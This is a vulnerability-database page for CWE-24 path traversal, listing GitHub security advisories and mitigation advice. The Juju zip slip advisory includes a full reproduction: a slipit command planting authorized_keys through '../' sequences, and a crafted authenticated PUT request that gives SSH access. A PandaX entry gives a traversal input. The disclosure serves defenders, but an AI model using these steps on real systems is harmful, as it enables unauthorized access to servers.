CWE-24
AllowedPath Traversal: '../filedir'
Abstraction: Variant · Status: Incomplete
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.
208 vulnerabilities reference this CWE, most recent first.
GHSA-24CH-W38V-XMH8
Vulnerability from github – Published: 2025-07-09 15:29 – Updated: 2025-08-26 20:20Impact
Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.
Details
A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://:17070/model-/charms/- - POST/GET https://:17070/model-/charms - GET https://:17070/charms
These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.
To reproduce:
juju bootstrap
juju add-user testuser
juju change-user-password testuser
Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm
Download and install the following tool: https://github.com/usdAG/slipit
Run the following command to generate a new SSH key pair: ssh-keygen
Copy the contents of the newly created public key into a file called authorized_keys
Run the following command to inject the malicious path into the ZIP file:
slipit hello.zip authorized_keys --separator ../../../../../../home/
ubuntu/.ssh/
Send the PUT request below to a model on the target controller. Note the following:
- the model UUID and controller IP address in the request must be updated
- the Juju-Curl header needs to be sent with a value that starts with the “local:” string
- the PUT body content should have the exact contents of the ZIP file
- the Basic Authorization header should be tied to the user that was created above
- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. pathtw-<updated-sha>)
-
PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c
HTTP/1.1
Host: 10.4.154.217:17070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko
/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 40021
Content-Type: application/zip
Juju-Curl: local:pathtw
Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==
<ZIP BODY Content>
Observe that the response states that the charm has been uploaded.
Attempt to SSH to the controller by using the private key that was generated above.
Observe that it is possible to authenticate because the file has been overwritten.
Code
The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990
And the only auth required is that the incoming request be for an authenticated user
https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754
but no specific permission checks are done.
Workarounds
There are no known workarounds.
References
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/juju/juju"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250619215741-6356e984b82a"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53513"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-24"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-09T15:29:03Z",
"nvd_published_at": "2025-07-08T17:16:04Z",
"severity": "HIGH"
},
"details": "### Impact\n\nAny user with a Juju account on a controller can upload a charm to the /charms endpoint.\nNo specific permissions are required - it\u0027s just sufficient for the user to exist in the controller user database.\nA charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.\n\n### Details\n\nA controller exposes three charm-related HTTP API endpoints, as follows:\n- PUT/GET https://\u003ccontroller-ip\u003e:17070/model-\u003cmodel-uuid\u003e/charms/\u003cnameofcharm\u003e-\u003chashofcharm\u003e\n- POST/GET https://\u003ccontroller-ip\u003e:17070/model-\u003cmodel-uuid\u003e/charms\n- GET https://\u003ccontroller-ip\u003e:17070/charms\n\nThese endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.\n\nTo reproduce:\n\n```\njuju bootstrap\njuju add-user testuser\njuju change-user-password testuser\n```\n\nDownload the ZIP file of an arbitrary charm eg [https://github.com/juju/hello-juju-charm](https://github.com/juju/hello-juju-charm)\n\nDownload and install the following tool: [https://github.com/usdAG/slipit](https://github.com/usdAG/slipit)\n\nRun the following command to generate a new SSH key pair: `ssh-keygen`\n\nCopy the contents of the newly created public key into a file called `authorized_keys`\n\nRun the following command to inject the malicious path into the ZIP file:\n```\nslipit hello.zip authorized_keys --separator ../../../../../../home/\nubuntu/.ssh/\n```\n\nSend the PUT request below to a model on the target controller. Note the following:\n- the model UUID and controller IP address in the request must be updated\n- the Juju-Curl header needs to be sent with a value that starts with the \u201clocal:\u201d string\n- the PUT body content should have the exact contents of the ZIP file\n- the Basic Authorization header should be tied to the user that was created above\n- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. `pathtw-\u003cupdated-sha\u003e`)\n- \n```\nPUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c\nHTTP/1.1\nHost: 10.4.154.217:17070\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko\n/20100101 Firefox/135.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nPriority: u=0, i\nTe: trailers\nConnection: keep-alive\nContent-Length: 40021\nContent-Type: application/zip\nJuju-Curl: local:pathtw\nAuthorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==\n\u003cZIP BODY Content\u003e\n```\n\nObserve that the response states that the charm has been uploaded.\n\nAttempt to SSH to the controller by using the private key that was generated above.\n\nObserve that it is possible to authenticate because the file has been overwritten.\n\n### Code\n\nThe /charms handlers are registered here\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990\n\nAnd the only auth required is that the incoming request be for an authenticated user\n\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754\n\nbut no specific permission checks are done.\n\n### Workarounds\nThere are no known workarounds.\n\n### References\n[F-02](https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view)",
"id": "GHSA-24ch-w38v-xmh8",
"modified": "2025-08-26T20:20:46Z",
"published": "2025-07-09T15:29:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53513"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/commit/6356e984b82a4a7b9771ff5e51e297ad62f3b405"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/commit/ff39557a137c0e95d4cd3553b0f19c859c6f5d8e"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view"
},
{
"type": "PACKAGE",
"url": "https://github.com/juju/juju"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3804"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Juju zip slip vulnerability via authenticated endpoint"
}
GHSA-26Q7-27MP-G4QJ
Vulnerability from github – Published: 2024-09-21 06:30 – Updated: 2024-09-26 09:31The vulnerability allows an attacker to craft MQTT messages that include relative path traversal sequences, enabling them to read arbitrary files on the system. This could lead to the disclosure of sensitive information, such as configuration files and JWT signing secrets.
{
"affected": [],
"aliases": [
"CVE-2024-6786"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-24"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-21T05:15:12Z",
"severity": "MODERATE"
},
"details": "The vulnerability allows an attacker to craft MQTT messages that include relative path traversal sequences, enabling them to read arbitrary files on the system. This could lead to the disclosure of sensitive information, such as configuration files and JWT signing secrets.",
"id": "GHSA-26q7-27mp-g4qj",
"modified": "2024-09-26T09:31:41Z",
"published": "2024-09-21T06:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6786"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-268-05"
},
{
"type": "WEB",
"url": "https://www.moxa.com/en/support/product-support/security-advisory/mpsa-240735-multiple-vulnerabilities-in-mxview-one-and-mxview-one-central-manager-series"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2977-5PHP-6789
Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 20:25In Erxes <1.6.2, an authenticated attacker can write to arbitrary files on the system using a Path Traversal vulnerability in the importHistoriesCreate GraphQL mutation handler.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "erxes"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-57189"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-24"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-10T20:25:49Z",
"nvd_published_at": "2025-06-10T17:20:09Z",
"severity": "MODERATE"
},
"details": "In Erxes \u003c1.6.2, an authenticated attacker can write to arbitrary files on the system using a Path Traversal vulnerability in the importHistoriesCreate GraphQL mutation handler.",
"id": "GHSA-2977-5php-6789",
"modified": "2025-06-10T20:25:49Z",
"published": "2025-06-10T18:32:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57189"
},
{
"type": "WEB",
"url": "https://github.com/erxes/erxes/commit/d626070a0fcd435ae29e689aca051ccfb440c2f3"
},
{
"type": "PACKAGE",
"url": "https://github.com/erxes/erxes"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/micro-services-major-headaches-detecting-vulnerabilities-in-erxes-microservices"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Erxes Path Traversal vulnerability"
}
GHSA-2M6H-5WP5-QP66
Vulnerability from github – Published: 2026-09-30 03:31 – Updated: 2026-09-30 03:31Handlebars.java before 4.5.5 allows directory traversal. In handlebars-springmvc 4.5.3 and 4.5.4, the path-containment fix for CVE-2026-63490 validates template locations as raw percent-encoded strings, whereas the template file is opened through a URL handler that percent-decodes the path. In a Spring MVC application with a file: template prefix and a request-derived view name, a percent-encoded traversal such as %2e%2e/ bypasses both the view-resolver check and the loader-side containment and reads files outside the configured template base directory.
{
"affected": [],
"aliases": [
"CVE-2026-103088"
],
"database_specific": {
"cwe_ids": [
"CWE-24"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-30T02:16:57Z",
"severity": "HIGH"
},
"details": "Handlebars.java before 4.5.5 allows directory traversal. In handlebars-springmvc 4.5.3 and 4.5.4, the path-containment fix for CVE-2026-63490 validates template locations as raw percent-encoded strings, whereas the template file is opened through a URL handler that percent-decodes the path. In a Spring MVC application with a file: template prefix and a request-derived view name, a percent-encoded traversal such as %2e%2e/ bypasses both the view-resolver check and the loader-side containment and reads files outside the configured template base directory.",
"id": "GHSA-2m6h-5wp5-qp66",
"modified": "2026-09-30T03:31:32Z",
"published": "2026-09-30T03:31:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jknack/handlebars.java/security/advisories/GHSA-pvrx-3g7m-fpgv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103088"
},
{
"type": "WEB",
"url": "https://github.com/jknack/handlebars.java/commit/f6ae3979917d05bef07f00befb4013ef00503660"
},
{
"type": "WEB",
"url": "https://github.com/jknack/handlebars.java/releases/tag/v4.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M95-7F8J-M6VW
Vulnerability from github – Published: 2024-01-10 00:30 – Updated: 2024-01-10 00:30A vulnerability, which was classified as critical, has been found in unknown-o download-station up to 1.1.8. This issue affects some unknown processing of the file index.php. The manipulation of the argument f leads to path traversal: '../filedir'. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250121 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-0354"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-24"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-10T00:15:45Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in unknown-o download-station up to 1.1.8. This issue affects some unknown processing of the file index.php. The manipulation of the argument f leads to path traversal: \u0027../filedir\u0027. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250121 was assigned to this vulnerability.",
"id": "GHSA-2m95-7f8j-m6vw",
"modified": "2024-01-10T00:30:23Z",
"published": "2024-01-10T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0354"
},
{
"type": "WEB",
"url": "https://note.zhaoj.in/share/nHD5xiHQgHG0"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.250121"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.250121"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2MC4-F3F5-XMWP
Vulnerability from github – Published: 2023-06-02 15:30 – Updated: 2023-06-02 15:30A vulnerability was found in YFCMF up to 3.0.4. It has been rated as problematic. This issue affects some unknown processing of the file app/admin/controller/Ajax.php. The manipulation of the argument controllername leads to path traversal: '../filedir'. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-230543.
{
"affected": [],
"aliases": [
"CVE-2023-3057"
],
"database_specific": {
"cwe_ids": [
"CWE-24"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-02T13:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in YFCMF up to 3.0.4. It has been rated as problematic. This issue affects some unknown processing of the file app/admin/controller/Ajax.php. The manipulation of the argument controllername leads to path traversal: \u0027../filedir\u0027. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-230543.",
"id": "GHSA-2mc4-f3f5-xmwp",
"modified": "2023-06-02T15:30:17Z",
"published": "2023-06-02T15:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3057"
},
{
"type": "WEB",
"url": "https://github.com/HuBenLab/HuBenVulList/blob/main/YFCMF-TP6-3.0.4%20has%20a%20Remote%20Command%20Execution%20(RCE)%20vulnerability%202.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.230543"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.230543"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2RJ9-5J2P-FQ98
Vulnerability from github – Published: 2023-06-02 12:30 – Updated: 2023-06-02 12:30A vulnerability was found in YFCMF up to 3.0.4. It has been declared as problematic. This vulnerability affects unknown code of the file index.php. The manipulation leads to path traversal: '../filedir'. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-230542 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-3056"
],
"database_specific": {
"cwe_ids": [
"CWE-24"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-02T12:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in YFCMF up to 3.0.4. It has been declared as problematic. This vulnerability affects unknown code of the file index.php. The manipulation leads to path traversal: \u0027../filedir\u0027. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-230542 is the identifier assigned to this vulnerability.",
"id": "GHSA-2rj9-5j2p-fq98",
"modified": "2023-06-02T12:30:36Z",
"published": "2023-06-02T12:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3056"
},
{
"type": "WEB",
"url": "https://github.com/HuBenLab/HuBenVulList/blob/main/YFCMF-TP6-3.0.4%20has%20a%20Remote%20Command%20Execution%20(RCE)%20vulnerability%201.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.230542"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.230542"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-33GW-PVGJ-248F
Vulnerability from github – Published: 2023-12-21 21:30 – Updated: 2023-12-21 21:30A vulnerability classified as problematic was found in codelyfe Stupid Simple CMS up to 1.2.4. Affected by this vulnerability is an unknown functionality of the file /file-manager/rename.php. The manipulation of the argument oldName leads to path traversal: '../filedir'. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248689 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-7040"
],
"database_specific": {
"cwe_ids": [
"CWE-24"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-21T20:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as problematic was found in codelyfe Stupid Simple CMS up to 1.2.4. Affected by this vulnerability is an unknown functionality of the file /file-manager/rename.php. The manipulation of the argument oldName leads to path traversal: \u0027../filedir\u0027. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248689 was assigned to this vulnerability.",
"id": "GHSA-33gw-pvgj-248f",
"modified": "2023-12-21T21:30:31Z",
"published": "2023-12-21T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7040"
},
{
"type": "WEB",
"url": "https://github.com/g1an123/POC/blob/main/Unauthorized%20file%20read.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.248689"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.248689"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3M3J-G6JR-6C5M
Vulnerability from github – Published: 2024-04-12 15:37 – Updated: 2024-04-12 15:37A vulnerability has been found in DedeCMS 5.7.112-UTF8 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file update_guide.php. The manipulation of the argument files leads to path traversal: '../filedir'. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-260473 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-3686"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-24"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-12T14:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in DedeCMS 5.7.112-UTF8 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file update_guide.php. The manipulation of the argument files leads to path traversal: \u0027../filedir\u0027. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-260473 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-3m3j-g6jr-6c5m",
"modified": "2024-04-12T15:37:21Z",
"published": "2024-04-12T15:37:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3686"
},
{
"type": "WEB",
"url": "https://github.com/Echosssy/CVE/blob/main/Dedecms%E6%9C%80%E6%96%B0%E7%89%88%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%A0%E9%99%A4%E7%BB%95%E8%BF%87.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.260473"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.260473"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.309454"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3RXX-HFRV-77FV
Vulnerability from github – Published: 2024-03-17 12:30 – Updated: 2024-03-17 12:30A vulnerability has been found in PandaXGO PandaX up to 20240310 and classified as critical. This vulnerability affects the function DeleteImage of the file /apps/system/router/upload.go. The manipulation of the argument fileName with the input ../../../../../../../../../tmp/1.txt leads to path traversal: '../filedir'. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-257062 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-2563"
],
"database_specific": {
"cwe_ids": [
"CWE-24"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-17T12:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in PandaXGO PandaX up to 20240310 and classified as critical. This vulnerability affects the function DeleteImage of the file /apps/system/router/upload.go. The manipulation of the argument fileName with the input ../../../../../../../../../tmp/1.txt leads to path traversal: \u0027../filedir\u0027. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-257062 is the identifier assigned to this vulnerability.",
"id": "GHSA-3rxx-hfrv-77fv",
"modified": "2024-03-17T12:30:38Z",
"published": "2024-03-17T12:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2563"
},
{
"type": "WEB",
"url": "https://github.com/PandaXGO/PandaX/pull/3"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.257062"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.257062"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.